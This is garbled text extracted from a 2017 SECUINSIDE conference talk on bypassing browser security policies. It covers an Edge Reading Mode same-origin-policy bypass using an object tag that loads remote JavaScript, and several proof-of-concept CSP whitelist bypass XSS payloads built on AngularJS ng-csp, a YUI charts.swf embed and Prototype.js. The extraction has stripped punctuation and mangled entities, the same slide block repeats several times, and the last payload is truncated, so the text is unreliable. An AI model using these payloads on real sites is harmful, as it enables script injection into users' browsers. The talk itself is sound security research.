Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 9: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is SOP(Same Origin Policy)

Same Origin Policy Details - IE Except

- Trust Zones 두 도메인이 신뢰할 수 있는 영역에 속하면 SOP가 적용되지 않는다eg 기업도메인(corporate domains)

- Port IE는 포트를 비교하지 않는다

httpseouli2seccokr8080indexhtml

httpseouli2seccokr80indexhtml

=

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 10: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is SOP(Same Origin Policy)

Same Origin Policy Details - Inherited origins

- aboutblank data 또는 javascript와 같은 URL에서는 URL자체가 원본에 대한정보를 제공하지 않기에 위 URL을 호출한 문서의 정책을 상속한다

httpseouli2seccokr

aboutblank

data

javascript

Origin seouli2seccokr

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 11: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

What is SOP(Same Origin Policy)

Edge Browser SOP Bypass Using Reading Mode

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_sop

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

CSP Bypass (Whitelist)

CSP bypass DEMO(ajaxgoogleapiscom)

Conclusion

- 브라우저 별 보안 헤더 정책을 적용한 방법은 다 다르다

- 헤더를 안전하게 적용했다고 생각하지만 취약점은 존재한다

- SOP CSP 등은 재미나게 우회할 아이디어가 많다

- 기능이 새로 추가되는 Third-Party 도 보면 참 재미지다

- CDN과 AngularJS 샌드박스를 100 신뢰하지말라

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinside0_day

0-day IE11 from James Lee

0-Day IE11 from James Lee

MS IE11 Information Disclosure Content Spoofing etc

httpsineedthinkpadblogspotkr201705msie11html

httpsgithubcomhackpupupaper2017secuinsidedemoie11

Thank you )

- Reference

httpstoolsietforghtmlrfc6797

httpsdevelopermozillaorgen-USdocsWebSecurityHTTP_strict_transport_security

httpswwwbrokenbrowsercomsop-bypass-abusing-read-protocol

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

httpsineedthinkpadblogspotkr201705msie11html

Page 12: Bypassing Web Browser Security Policiessecuinside.com/archive/2017/2017-1-5.pdf · 2017-07-20 · SECUINSIDE 2017 Bypassing Web Browser Security Policies DongHyun Kim (hackpupu) Security

SOP(Same Origin Policy) Bypass 1-Day

Edge Browser SOP Bypass Using Reading Mode

Read Mode ON

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode ON

Original HTML Read Mode HTML

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

Read Mode Deleted Tags(eg secuinsideorg2017ctfhtml)

Read Mode ONDeleted Tags

ltscriptgtlthrgtltsectiongtltfootergtltligtltheadergtltnavgtltarticlegtltulgt

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

httpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Details

readhttpsecuinsideorg2017ctfhtml

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Conclusion

Edge CSS File is Internal File UsingCWindowsSystemAppsMicrosoftMicrosoftEdge_8wekyb3d8bbweAssetsReadingView

Edge Read mode Delete Tags(Script Iframe etc html tagshellip)

Loading in the background without the user knowing

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

httpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

readhttpsecuinsideorg

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Finding Interesting Redirect URL

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability1

Not Changed locationhref and URL Bar

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability2

Object Tag Write Available

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability3

documentwrite data top location using

ltobjectdata=httpwwwi2seccokrsecuinsidedatajsgtltobjectgt

httpwwwi2seccokrsecuinsidedatajs

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Vulnerability Conclusion

Using Edge Read Mode Redirect Not Change URL Bar and locationhref value

Edge Read Mode not deleted object tag

Edge Read Mode documentwrite

SOP(Same Origin Policy) Bypass 1-Day

Edge Reading Mode - Demo

SOP Bypass 1-Day DEMO

CSP(Content-Security-Policy) Details

CSP Options

Content-Security-Policy script-src self httpsapisgooglecom

Access-Allow Resource Type

Origin(Using Domain)

Another Domain

CSP(Content-Security-Policy) Details

CSP Options - Access-Allow Resource Type

옵션 기능 Example Domain

base-uri ltbasegt태그에 나타낼 수 있는 URL을 제한

child-src Frame 태그에 나타낼 수 있는 URL을 제한 child-src httpsyoutubecom

connect-src XHR WebSocket 또는 EventSource를 통해 연결하는 출처를 제한

font-src 웹 폰트를 제공할 수 있는 출처를 제한 font-src httpsthemesgoogleusercontentcom

form-action ltformgt태그 내 action의 Endpoint를 제한

img-src 이미지를 로드할 수 있는 출처를 제한

media-src 동영상 및 오디오를 로드할 수 있는 출처를 제한

style-src 스타일시트(CSS)를 로드할 수 있는 출처를 제한 style-src httpswwwbootstrapcdncom

CSP(Content-Security-Policy) Details

CSP Options - Another Tip

- Content Security Policy (CSP) block eval method call

- CSP is block using eval() for Javascript

- CSP does not specify unsafe-inline the inline event handler isblocked

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Content-Security-Policy) Details

Why Attacker Thinking CSP - Enable CSP

Drive By Download Attack

Victim SiteInclude(hacker_sitehackjs)

hacker_sitehackjs

User Browser

CSP(Bypass) Example Edge 0-Day and CSP WhiteListDomain

- ALL Source Code In hackpupu github- httpsgithubcomhackpupupapaer2017secuinsidedemo_csp

CSP(Bypass) Bypass

CSP(Bypass) Edge Bypass

applicationpdf not filtering - Demo

ltembed type=applicationpdf src=httpwwwafricaueduimagesdefaultsamplepdf width=800 height=500gt

CSP(Content-Security-Policy) Details

CSP is Real Safe

Content-Security-Policy script-src lsquoselfrsquo ajaxgoogleapiscom

CSP Bypass (Whitelist)

CSP bypass XSS Challenge

httpsgithubcomcure53XSSChallengeWikiwikiH5SC-Minichallenge-3-22Sht-it27s-CSP22

CSP Bypass (Whitelist)

CSP bypass Using AngularJS ng-csp Options

ng-appng-csp ng-click=$eventviewalert(1337)gtltscriptsrc=ajaxgoogleapiscomajaxlibsangularjs108angularjsgtltscriptgt

CSP Bypass (Whitelist)

CSP bypass Using Google Externallinterface XSS

gtltembed src=ajaxgoogleapiscomajaxlibsyui280r4buildchartsassetschartsswfallowedDomain=)))catch(e)alert(1337) allowscriptaccess=alwaysgt

CSP Bypass (Whitelist)

CSP bypass Using AngularJS + Prototypejs

ng-app ng-cspgtltbase href=ajaxgoogleapiscomajaxlibsgtltscript src=angularjs101angularjsgtltscriptgtltscript src=prototype1720prototypejsgtltscriptgt$oncurrycall()alert(1337

